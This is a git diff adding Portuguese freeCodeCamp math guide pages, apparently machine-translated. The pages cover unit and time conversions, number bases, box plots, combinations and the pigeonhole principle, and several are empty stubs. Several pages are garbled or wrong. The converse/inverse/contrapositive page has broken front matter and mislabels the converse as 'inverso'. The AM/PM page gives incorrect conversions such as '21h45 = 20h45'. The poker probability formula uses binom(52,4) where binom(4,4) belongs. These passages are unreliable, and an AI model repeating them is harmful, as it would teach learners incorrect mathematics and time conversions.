diff --git a/client/src/guide/portuguese/mathematics/conics-parabolas-introduction/index.md b/client/src/guide/portuguese/mathematics/conics-parabolas-introduction/index.md
new file mode 100644
index 0000000000..0af9f833d1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/conics-parabolas-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Conics Parabolas Introduction
+localeTitle: Conics Parabolas Introdução
+---
+## Conics Parabolas Introdução
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conics-parabolas-introduction/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/constructing-a-box-plot/index.md b/client/src/guide/portuguese/mathematics/constructing-a-box-plot/index.md
new file mode 100644
index 0000000000..9119280221
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/constructing-a-box-plot/index.md
@@ -0,0 +1,13 @@
+---
+title: Constructing a Box Plot
+localeTitle: Construindo um Box Plot
+---
+## Construindo um Box Plot
+
+Box plots, também chamados de gráficos box-and-whisker, são representações de dados para uma única variável. Quando você tem uma coleção de dados numéricos, você pode encontrar a mediana, mínimo, máximo, quartil superior e quartil inferior, e fazer um gráfico de caixa. Você faz uma caixa acima de uma linha numérica com uma extremidade nos pontos dos quartis superior e inferior, e uma linha dentro da mediana. Você então cria linhas no mínimo e no máximo e desenha linhas até a borda mais próxima da caixa.
+
+## Fontes
+
+*   [Stapel, Elizabeth. “Quartis, caixas e bigodes.” Quartis, caixas e bigodes | Purplemath, Purplemath, 2017](www.purplemath.com/modules/boxwhisk.htm)
+
+## Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converse-inverse-contrapositive/index.md b/client/src/guide/portuguese/mathematics/converse-inverse-contrapositive/index.md
new file mode 100644
index 0000000000..88bad43c79
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converse-inverse-contrapositive/index.md
@@ -0,0 +1,5 @@
+
+tlocaleTitle: Contrapositivo inverso inverso
+itle: Contrapositivo inverso inverso
+
+Em Matemática Discreta, dada uma declaração condicional "se a, depois b", nós pode ter 3 declarações relacionadas: Qualquer declaração condicional é composta de duas partes: i) Hipótese ("se"): ii) Conclusão ("então"): "Se a, então b" pode ser representado como: a → b Suponha um exemplo: "Se não há escola, então é o fim de semana." p → q • Para obter o inverso da declaração condicional acima, as hipóteses de intercâmbio esis e a conclusão. q → p Assim, o inverso será: "Se é fim de semana, então não há escola." • Para obter o inverso da declaração condicional acima, tome a negação de ambas as hipóteses e a conclusão. →p → ¬q Assim, o inverso será: "Se há escola, então é dia da semana." • Para obter o Contrapositivo da declaração condicional acima, o intercâmbio a hipótese e a conclusão da afirmação inversa. →q → ¬p Assim, o contrapositivo será: "Se é dia da semana, então há escola."
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md b/client/src/guide/portuguese/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md
new file mode 100644
index 0000000000..d0bcf71338
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md
@@ -0,0 +1,19 @@
+---
+title: Conversion of Temperature Celsius to Fahrenheit
+localeTitle: Conversão de Temperatura Celsius para Fahrenheit
+---
+## Conversão de Temperatura Celsius para Fahrenheit
+
+A seguinte fórmula fornece conversão de temperatura Celsius para Fahrenheit:
+
+T Fahrenheit = T Celsius \* 9/5 + 32
+
+Assim, 0 o C = 32 o F e 100 o C = 212 o F.
+
+A conversão da temperatura Fahrenheit para Celsius é a seguinte:
+
+T Celsius = 5/9 \* (T Fahrenheit - 32)
+
+#### Mais Informações:
+
+[Celsius para Fahrenheit](http://www.rapidtables.com/convert/temperature/how-celsius-to-fahrenheit.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/convert-decimals-to-fractions/index.md b/client/src/guide/portuguese/mathematics/convert-decimals-to-fractions/index.md
new file mode 100644
index 0000000000..77c2587a3b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/convert-decimals-to-fractions/index.md
@@ -0,0 +1,27 @@
+---
+title: Convert Decimals to Fractions
+localeTitle: Converta Decimais em Frações
+---
+## Converta Decimais em Frações
+
+1.  Anote o número decimal como decimal / 1
+2.  Multiplique o numerador e o denominador por 10 para cada não depois do ponto decimal.
+3.  Simplifique a fração até que ela se torne irredutível.
+
+## Exemplos
+
+### Exemplo 1
+
+Converta 0,25 em uma fração.
+
+0,25 / 1 -> 25/100 -> 5/20 -> 1/4
+
+A resposta final é 1/4, que é a representação fracionária da casa decimal não 0.25
+
+### Exemplo 2
+
+Converta 0,2 em uma fração.
+
+0,2 / 1 ---> x100 = 20/100 = 2/10.
+
+![Exemplos](http://m.mathblaster.com/Mathblaster/CoolMath/Article-Images/decimals-to-fractions-&-fractions-to-decimals.jpg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/convert-fractions-to-percents/index.md b/client/src/guide/portuguese/mathematics/convert-fractions-to-percents/index.md
new file mode 100644
index 0000000000..a8aba6959f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/convert-fractions-to-percents/index.md
@@ -0,0 +1,17 @@
+---
+title: Convert Fractions to Percents
+localeTitle: Converter frações em porcentagens
+---
+## Converter frações em porcentagens
+
+Um por cento (1%) representa um centésimo de um todo.
+
+Cem por cento (100%) representa um todo.
+
+Para converter uma fração em porcentagem, basta multiplicá-la por um todo (100%).
+
+### Exemplos
+
+½ × 100% = 50%
+
+⅛ × 100% = 12,5%
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/convert-percents-to-fractions/index.md b/client/src/guide/portuguese/mathematics/convert-percents-to-fractions/index.md
new file mode 100644
index 0000000000..e5361a7798
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/convert-percents-to-fractions/index.md
@@ -0,0 +1,21 @@
+---
+title: Convert Percents to Fractions
+localeTitle: Converter porcentagens em frações
+---
+## Converter porcentagens em frações
+
+Para converter porcentagem em frações, use a fórmula abaixo:
+
+#### `x % / 100`
+
+#### Exemplo 1
+
+ 25% = 25 ⁄ 100 = 1 ⁄ 4 
+
+#### Exemplo 2
+
+ 36% = 36 ⁄ 100 = 9 ⁄ 25 
+
+#### Exemplo 3
+
+ 100% = 100 ⁄ 100 = 1
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-am-pm-to-24-hour-clock/index.md b/client/src/guide/portuguese/mathematics/converting-am-pm-to-24-hour-clock/index.md
new file mode 100644
index 0000000000..db9cfa0b4a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-am-pm-to-24-hour-clock/index.md
@@ -0,0 +1,64 @@
+---
+title: Converting AM/PM to 24 Hour Clock
+localeTitle: Convertendo AM / PM para 24 horas de relógio
+---
+## Convertendo AM / PM para 24 horas de relógio
+
+Existem duas maneiras principais de mostrar a hora: "Relógio de 12 horas" ou "am / pm": Relógio de 24 horas.
+
+A maioria dos países prefere o relógio de 24 horas; no entanto, na América Latina e nos países de língua inglesa, o relógio de 12 horas é amplamente usado, onde duas vezes por dia é 12:00, à meia-noite e ao meio-dia. Para distinguir entre ambos, você pode adicionar am ou pm, respectivamente.
+
+A tabela abaixo mostra a conversão entre o sistema de relógio de 12 horas e o sistema de relógio de 24 horas.
+
+| Sistema de relógio de 12 horas | sistema de relógio de 24 horas | | ------------- |: -------------: | | 00:00 | 00:00 | | 01:00 | 01:00 | | 02:00 | 02:00 | | 03:00 | 03:00 | | 04:00 | 04:00 | | 05:00 | 05:00 | | 06:00 | 06:00 | | 07:00 | 07:00 | | 08:00 | 08:00 | | 09:00 | 09:00 | | 10:00 AM | 10:00 | | 11:00 | 11:00 | | 12:00 PM | 12:00 | | 01:00 PM | 13:00 | | 14:00 | 14:00 | | 15:00 | 15:00 | | 16:00 | 16:00 | | 17:00 | 17:00 | | 18:00 | 18:00 | | 19:00 | 19:00 | | 20:00 | 20:00 | | 21:00 | 21:00 | | 22:00 | 22:00 | | 23:00 | 23:00 |
+
+## Relógio de 12 horas (am / pm)
+
+O dia é dividido em 12 horas, de meia-noite a meio-dia (horas e meia) e 12 horas, de meio-dia a meia-noite (horas e meia).
+
+As abreviaturas “am e pm” derivam do latim:
+
+*   am: Ante Meridiem = antes do meio-dia.
+*   pm: Post Meridiem = Tarde.
+
+## Relógio de 24 horas
+
+O dia vai de meia-noite a meia-noite e é dividido em 24 horas, indicado pelas horas que passaram desde a meia-noite, de 0 a 23.
+
+## Convertendo AM / PM para 24 horas de relógio
+
+### A partir da primeira hora do dia (00:00 (meia-noite) às 12:59) e subtraia 12 horas.
+
+*   12:00 am = 0:00
+*   12:15 da manhã = 0:15
+
+### Das 01:00 às 12:59, permanece o mesmo.
+
+*   9:00 am = 9:00
+*   12:59 pm = 12:59
+
+### Das 13:00 às 23:59, adicione 12 horas.
+
+*   15:17 = 15:17
+*   11:59 pm = 23:59.
+
+## Convertendo o relógio de 24 horas para am / pm
+
+### Para a primeira hora do dia (0:00 a 0:59), adicione 12 horas e adicione a terminação "am".
+
+*   0:30 = 12:30
+*   0:55 = 12:55 am
+
+### Das 1:00 às 11:59, basta adicionar a terminação "am".
+
+*   2:25 = 2:25 am
+*   9:30 = 9:30
+
+### Das 13:00 às 23:59, subtraia 12 horas e adicione a terminação “pm”.
+
+*   16:55 = 16:55
+*   21h45 = 20h45
+
+#### Mais Informações:
+
+Para ler mais sobre um sistema de 24 horas, você pode clicar em [Wikipedia](https://en.wikipedia.org/wiki/24-hour_clock)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-between-radians-and-degrees/index.md b/client/src/guide/portuguese/mathematics/converting-between-radians-and-degrees/index.md
new file mode 100644
index 0000000000..65f1fad8f2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-between-radians-and-degrees/index.md
@@ -0,0 +1,31 @@
+---
+title: Converting Between Radians and Degrees
+localeTitle: Conversão entre radianos e graus
+---
+## Conversão entre radianos e graus
+
+### Fórmulas Gerais
+
+As seguintes fórmulas podem ser usadas para converter entre radianos e graus:
+```
+r = d * (π / 180) 
+ 
+ d = r * (180 / π) 
+ 
+ where r is the angle in radians and d is the angle in degrees. 
+```
+
+### Exemplos
+
+Converta 2π / 3 radianos em graus:
+```
+2π/3 * 180/π = 360π/3π = 360/3 = 120 degrees 
+```
+
+Converta 30 graus em radianos:
+```
+30 * π/180 = 30π/180 = π/6 or (1/6)π radians 
+ 
+ Note: Radians are usually expressed in terms of π instead of a rounded decimal as this form represents the actual value rather than an approximation. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-directly-from-binary-to-hexadecimal/index.md b/client/src/guide/portuguese/mathematics/converting-directly-from-binary-to-hexadecimal/index.md
new file mode 100644
index 0000000000..7514be17fc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-directly-from-binary-to-hexadecimal/index.md
@@ -0,0 +1,32 @@
+---
+title: Converting Directly from Binary to Hexadecimal
+localeTitle: Convertendo Diretamente de Binário para Hexadecimal
+---
+## Convertendo Diretamente de Binário para Hexadecimal
+
+Você pode dividir seus números binários para convertê-los em números hexadecimais.
+
+### Método geral
+
+1.  Corte sua sequência de números binários em grupos de quatro, começando pela direita.
+2.  Adicione zeros extras à frente do primeiro número, se não tiver quatro dígitos.
+3.  Converta um grupo de 4 dígitos por vez.
+
+Você pode usar esta tabela de conversão:
+
+Colons podem ser usados ​​para alinhar colunas.
+
+| Binário | Hexadecimal | | ------ | ----------: | | 0000 | 0 | | 0001 | 1 | | 0010 | 2 | | 0011 | 3 | | 0100 | 4 | | 0101 | 5 | | 0110 | 6 | | 0111 | 7 | | 1000 | 8 | | 1001 | 9 | | 1010 | A | | 1011 | B | | 1100 | C | | 1101 | D | | 1110 | E | | 1111 | F |
+
+### Exemplo
+
+Convertendo o número binário 01101000000001 em hexadecimal.
+```
+1. 01101000000001 => 01|1010|0000|0001 
+ 2. 01|1010|0000|0001 => 0001|1010|0000|0001 
+ 3. 0001|1010|0000|0001 => 1A01 
+```
+
+#### Mais Informações:
+
+Mais informações com ilustrações podem ser encontradas [aqui](https://www.wikihow.com/Convert-Binary-to-Hexadecimal#Converting_Long_Binary_Strings_sub)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-from-decimal-to-binary/index.md b/client/src/guide/portuguese/mathematics/converting-from-decimal-to-binary/index.md
new file mode 100644
index 0000000000..0280709cbb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-from-decimal-to-binary/index.md
@@ -0,0 +1,54 @@
+---
+title: Converting from Decimal to Binary
+localeTitle: Convertendo de Decimal para Binário
+---
+## Convertendo de Decimal para Binário
+
+Você pode usar restos para converter números decimais em números binários.
+
+### Método geral
+
+1) Divida o número decimal original por 2 e registre o quociente e o resto. 2) Repita o primeiro passo, substituindo o número decimal original pelo último quociente, até obter um quociente igual a 0. 3) Leve o último resto que você gravou para ser seu MSB (bit mais significativo) e o primeiro resto que você gravou para ser seu LSB (bit menos significativo). Anote os remanescentes no verso do pedido de como você os gerou.
+
+### Exemplos
+
+Convertendo o número decimal 30 em binário.
+```
+30 / 2 = 15 r 0 
+ 15 / 2 = 7 r 1 
+ 7 / 2 = 3 r 1 
+ 3 / 2 = 1 r 1 
+ 1 / 2 = 0 r 1 
+ 
+ Writing out the remainders bottom to top gives you the bit pattern: 
+ 
+ 11110 
+ 
+ Checking your answer by converting the binary number back to decimal: 
+ 
+ (1*2^4)+(1*2^3)+(1*2^2)+(1*2^1)+(0*2^0) = 30 
+ 
+ So your answer is correct. 
+```
+
+Convertendo o número decimal 116 em binário.
+```
+116 / 2 = 58 r 0 
+ 58 / 2 = 29 r 0 
+ 29 / 2 = 14 r 1 
+ 14 / 2 = 7 r 0 
+ 7 / 2 = 3 r 1 
+ 3 / 2 = 1 r 1 
+ 1 / 2 = 0 r 1 
+ 
+ Writing out the remainders bottom to top gives you the bit pattern: 
+ 
+ 1110100 
+ 
+ Checking your answer by converting the binary number back to decimal: 
+ 
+ (1*2^6)+(1*2^5)+(1*2^4)+(0*2^3)+(1*2^2)+(0*2^1)+(0*2^0) = 116 
+ 
+ So your answer is correct. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-pounds-to-ounces/index.md b/client/src/guide/portuguese/mathematics/converting-pounds-to-ounces/index.md
new file mode 100644
index 0000000000..3df0dde606
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-pounds-to-ounces/index.md
@@ -0,0 +1,13 @@
+---
+title: Converting Pounds to Ounces
+localeTitle: Conversão de Libras em Onças
+---
+## Conversão de Libras em Onças
+
+Uma libra (lb) é igual a 16 onças (oz). Para converter libras em onças, multiplique o número de libras por `16` .
+
+### Exemplos
+
+Algo que pesa `6 lbs` pesa `96 oz` , porque `16 X 6` é `96` .
+
+`.5 lbs` converte para `8 oz` porque `.5 X 16 = 8` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-units-centimeters-to-meters/index.md b/client/src/guide/portuguese/mathematics/converting-units-centimeters-to-meters/index.md
new file mode 100644
index 0000000000..65550cd9ab
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-units-centimeters-to-meters/index.md
@@ -0,0 +1,50 @@
+---
+title: Converting Units Centimeters to Meters
+localeTitle: Convertendo Unidades Centímetros em Metros
+---
+## Convertendo Unidades Centímetros em Metros
+
+Centi- (símbolo c) é um prefixo de unidade no sistema métrico denotando um fator de centésimo
+
+Significando um Centimenter é um centésimo de um metro. x cm = xm / 100
+
+Exemplos 1 cm = 1 m / 100 = 0,01 m 10 cm = 10 m / 100 = 0,1 m 1,2 cm = 1,2 m / 100 = 0,012 m
+
+Por definição, _um_ centímetro é _um_ centésimo de um metro
+
+Na fórmula a seguir, as unidades são nomeadas com colchetes \[\] ao redor delas
+```
+[cm] / 100 = [m] 
+```
+
+Se você digitar o valor que você tem, digamos 50 centímetros, será calculado assim:
+```
+50[cm] / 100 = 0.5[m] 
+```
+
+O resultado do cálculo retorna um valor de 0,5 metros, a quantidade de metros é 50 centímetros.
+
+### Exemplos
+
+1.  1 cm = 0,01 m ( 1 ⁄ 100 )
+2.  25 cm = 0,25 m ( 25 ⁄ 100 )
+3.  200 cm = 2 m ( 200 ⁄ 100 )
+
+### Codificação
+
+```js
+function convertCentimeterToMeter (cm) { 
+  return ( cm / 100 ); 
+ } 
+ 
+ // Set some example measurements 
+ var lengthInCm = 300; 
+ var lengthInM; 
+ 
+ lengthInM = convertCentimeterToMeter(lengthInCm); // 3 
+```
+
+### Mais Informações:
+
+*   [Converter cm em m](https://www.convertunits.com/from/cm/to/m)
+*   [Artigo da Wikipedia sobre o Centi](https://en.wikipedia.org/wiki/Centi-)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/converting-units-minutes-to-hours/index.md b/client/src/guide/portuguese/mathematics/converting-units-minutes-to-hours/index.md
new file mode 100644
index 0000000000..7ae9d5f479
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/converting-units-minutes-to-hours/index.md
@@ -0,0 +1,29 @@
+---
+title: Converting Units Minutes to Hours		
+localeTitle: Conversão de Unidades em Minutos para Horas
+---
+## Conversão de Unidades em Minutos para Horas
+
+Um minuto é definido como um sexagésimo de uma hora. A conversão entre minutos e horas é assim dada por
+```
+t<sub>h</sub> = t<sub>min</sub> / 60 
+ 
+ t<sub>min</sub> = t<sub>h</sub> * 60 
+```
+
+onde t min é o tempo em minutos e t h é o tempo em horas.
+
+Os símbolos do tempo em minutos e horas são **min** e **h** respectivamente (O Sistema Internacional de Unidades, 8ª edição, [Capítulo 4: Unidades fora do SI](https://www.bipm.org/utils/common/pdf/si_brochure_8_en.pdf) ).
+
+### Exemplos
+
+Convertendo do tempo em minutos para o tempo em horas:
+```
+90 minutes = (90 / 60) hours = 1.5 hours 
+```
+
+Convertendo do tempo em horas para o tempo em minutos:
+```
+24 hours = (24 * 60) minutes = 1440 minutes 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/correlation/index.md b/client/src/guide/portuguese/mathematics/correlation/index.md
new file mode 100644
index 0000000000..5589bc62d5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/correlation/index.md
@@ -0,0 +1,9 @@
+---
+title: Correlation
+localeTitle: Correlação
+---
+## Correlação
+
+A correlação significa quanto uma coisa muda com outra. Se houver uma correlação positiva entre A e B, então, à medida que A aumenta, B aumenta. Se houver uma correlação negativa, quando A aumenta, B diminui (ou vice-versa). Se não houver correlação, então A não afeta B e vice-versa.
+
+![Correlações](http://www.statisticshowto.com/wp-content/uploads/2012/10/pearson-2-small.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/coterminal-angles/index.md b/client/src/guide/portuguese/mathematics/coterminal-angles/index.md
new file mode 100644
index 0000000000..d4e4d487c3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/coterminal-angles/index.md
@@ -0,0 +1,11 @@
+---
+title: Coterminal Angles
+localeTitle: Ângulos Coterminal
+---
+## Ângulos Coterminal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/coterminal-angles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/combinations/index.md b/client/src/guide/portuguese/mathematics/counting/combinations/index.md
new file mode 100644
index 0000000000..46afaabafb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/combinations/index.md
@@ -0,0 +1,38 @@
+---
+title: Combinations
+localeTitle: Combinações
+---
+## Combinações
+
+Uma combinação é uma seleção de itens de uma coleção, em que a ordem de seleção não importa. Mais formalmente:
+
+> Uma combinação k de um conjunto S é um subconjunto de k elementos distintos de S. Se o conjunto tiver n elementos, o número de combinações k é igual ao [coeficiente binominal](https://guide.freecodecamp.org/mathematics/counting/factorials-and-binomial-coefficients/) 1.
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/08bdf0fff474c26293414f9eb01ab4bc73ef941f "coeficiente binomial")
+
+Ou se você preferir usar o [fatorial](https://guide.freecodecamp.org/mathematics/counting/factorials-and-binomial-coefficients/) :
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/813f7124a61dac205542db3f8491b36cb306453a "fatorial")
+
+Combinações referem-se à combinação de n coisas tomadas k de cada vez **sem** repetição. Para referir-se a combinações nas quais a repetição é permitida, os termos k-selection ou k-combination com repetição são frequentemente usados ​​e usamos as seguintes fórmulas:
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/6c73b231f2fbfa42d5e10c310d8c3f5022d9ceb0 "coeficiente binomial")
+
+## Alguns exemplos:
+
+Combinações são muito úteis quando você quer resolver problemas combinatórios como o seguinte:
+```
+Compute the probability to obtain a poker from 
+ a standard fifty-two card deck drawing 5 cards 
+ at the same time 
+```
+
+Para resolver este problema simples, você precisa calcular o número de 5 cartas possíveis usando combinações:
+
+![alt text](https://latex.codecogs.com/gif.latex?%5Cfrac%7B13%5Cbinom%7B52%7D%7B4%7D%5Cbinom%7B48%7D%7B1%7D%7D%7B%5Cbinom%7B52%7D%7B5%7D%7D "problema de poker")
+
+Pense nisso ![alt text](https://latex.codecogs.com/gif.latex?%5Cbinom%7B48%7D%7B1%7D "48 em 1") é igual a 48 conforme a definição do coeficiente binomial.
+
+### Fontes
+
+1 [entrada de combinação da Wikipedia](https://en.wikipedia.org/wiki/Combination)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/factorials-and-binomial-coefficients/index.md b/client/src/guide/portuguese/mathematics/counting/factorials-and-binomial-coefficients/index.md
new file mode 100644
index 0000000000..af9a5c4cee
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/factorials-and-binomial-coefficients/index.md
@@ -0,0 +1,11 @@
+---
+title: Factorials and Binomial Coefficients
+localeTitle: Factorials e Coeficientes Binomiais
+---
+## Factorials e Coeficientes Binomiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/factorials-and-binomial-coefficients/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/inclusion-exclusion-principle/index.md b/client/src/guide/portuguese/mathematics/counting/inclusion-exclusion-principle/index.md
new file mode 100644
index 0000000000..61a71755bf
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/inclusion-exclusion-principle/index.md
@@ -0,0 +1,11 @@
+---
+title: Inclusion Exclusion Principle
+localeTitle: Princípio de Exclusão de Inclusão
+---
+## Princípio de Exclusão de Inclusão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/inclusion-exclusion-principle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/index.md b/client/src/guide/portuguese/mathematics/counting/index.md
new file mode 100644
index 0000000000..fdba960957
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/index.md
@@ -0,0 +1,11 @@
+---
+title: Counting
+localeTitle: Contando
+---
+## Contando
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/permutations-with-replacement/index.md b/client/src/guide/portuguese/mathematics/counting/permutations-with-replacement/index.md
new file mode 100644
index 0000000000..785dcd3e67
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/permutations-with-replacement/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutations with Replacement
+localeTitle: Permutações com Substituição
+---
+## Permutações com Substituição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/permutations-with-replacement/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/permutations-without-replacement/index.md b/client/src/guide/portuguese/mathematics/counting/permutations-without-replacement/index.md
new file mode 100644
index 0000000000..c260aeb050
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/permutations-without-replacement/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutations Without Replacement
+localeTitle: Permutações sem substituição
+---
+## Permutações sem substituição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/permutations-without-replacement/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/pigeonhole-principle/index.md b/client/src/guide/portuguese/mathematics/counting/pigeonhole-principle/index.md
new file mode 100644
index 0000000000..611741c8ae
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/pigeonhole-principle/index.md
@@ -0,0 +1,30 @@
+---
+title: Pigeonhole Principle
+localeTitle: Princípio do Pigeonhole
+---
+## Princípio do Pigeonhole
+
+O Princípio Pigeonhole é uma formalização matemática de uma observação lógica e intuitiva. Essa observação é melhor compreendida com um exemplo.
+
+### Exemplo
+
+Existem cinco caixas e seis bolas. Cada uma das seis bolas é colocada em uma das cinco caixas. _Deve_ haver pelo menos uma caixa com pelo menos duas bolas. Se cinco bolas são colocadas em cinco caixas de tal forma que nenhuma caixa tem duas bolas, então não importa em qual caixa a sexta bola é colocada, aquela caixa terá mais de uma bola.
+
+### Generalização
+
+Esta observação pode ser generalizada para N caixas e M bolas. Se houver N caixas e M bolas e M> N, então pelo menos uma caixa deve conter várias bolas.
+
+Note que o Princípio do Pombo não nos diz nada sobre qual caixa tem mais de uma bola, ou quantas bolas tem alguma das caixas. O Princípio Pigeonhole indica apenas a existência de uma caixa com várias bolas.
+
+### Uso na Ciência da Computação
+
+O Princípio Pigeonhole geralmente aparece na ciência da computação. Por exemplo, o algoritmo de hashing SHA256 aceita entrada de qualquer tamanho (como uma string) e gera um valor de 256 bits. Como a saída do algoritmo de hash SHA256 é sempre 256 bits, existem 2 ^ 256 hashes possíveis. Embora este seja um número muito grande, há um número infinito de entradas possíveis. Usando a generalização acima, podemos dizer que nosso N = 2 ^ 256 e nosso M = infinito. Como o infinito é maior que 2 ^ 256 (M> N), então, pelo Princípio do Pigeonhole, pelo menos um desses hashes deve ter duas entradas diferentes com hash para o mesmo valor. Os cientistas da computação chamam duas entradas diferentes que compartilham um hash comum de uma colisão.
+
+### Use em problemas gerais de contagem
+
+Podemos usar o Princípio Pigeonhole para provar algumas coisas mais esotéricas também. Um exemplo comum é o problema da contagem de cabelos. A cabeça humana tem entre 0 e 150.000 cabelos. Para se manter seguro, digamos que um humano pode ter até um milhão de cabelos na cabeça. Paris, França, tem uma população de cerca de 2,2 milhões de pessoas. Se classificarmos todos em Paris em caixas com base em quantos cabelos tiverem em sua cabeça, poderemos usar nossa generalização acima para dizer N = 1000000 (o número de caixas, uma caixa para cada contagem possível de cabelos) e M = 2200000 ( a população de Paris, França). Desde M> N, pelo Princípio Pigeonhole, podemos afirmar com certeza que pelo menos duas pessoas em Paris devem ter o mesmo número de cabelos na cabeça.
+
+#### Mais Informações:
+
+*   [Wikipedia - Princípio do Pigeonhole](https://en.wikipedia.org/wiki/Pigeonhole_principle)
+*   [Mais exemplos divertidos do Princípio dos Pombos](https://mindyourdecisions.com/blog/2008/11/25/16-fun-applications-of-the-pigeonhole-principle/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/rule-of-product/index.md b/client/src/guide/portuguese/mathematics/counting/rule-of-product/index.md
new file mode 100644
index 0000000000..e92763dd21
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/rule-of-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Rule of Product
+localeTitle: Regra do Produto
+---
+## Regra do Produto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/rule-of-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/rule-of-sum/index.md b/client/src/guide/portuguese/mathematics/counting/rule-of-sum/index.md
new file mode 100644
index 0000000000..183188252c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/rule-of-sum/index.md
@@ -0,0 +1,7 @@
+---
+title: Rule of Sum
+localeTitle: Regra da Soma
+---
+## Regra da Soma
+
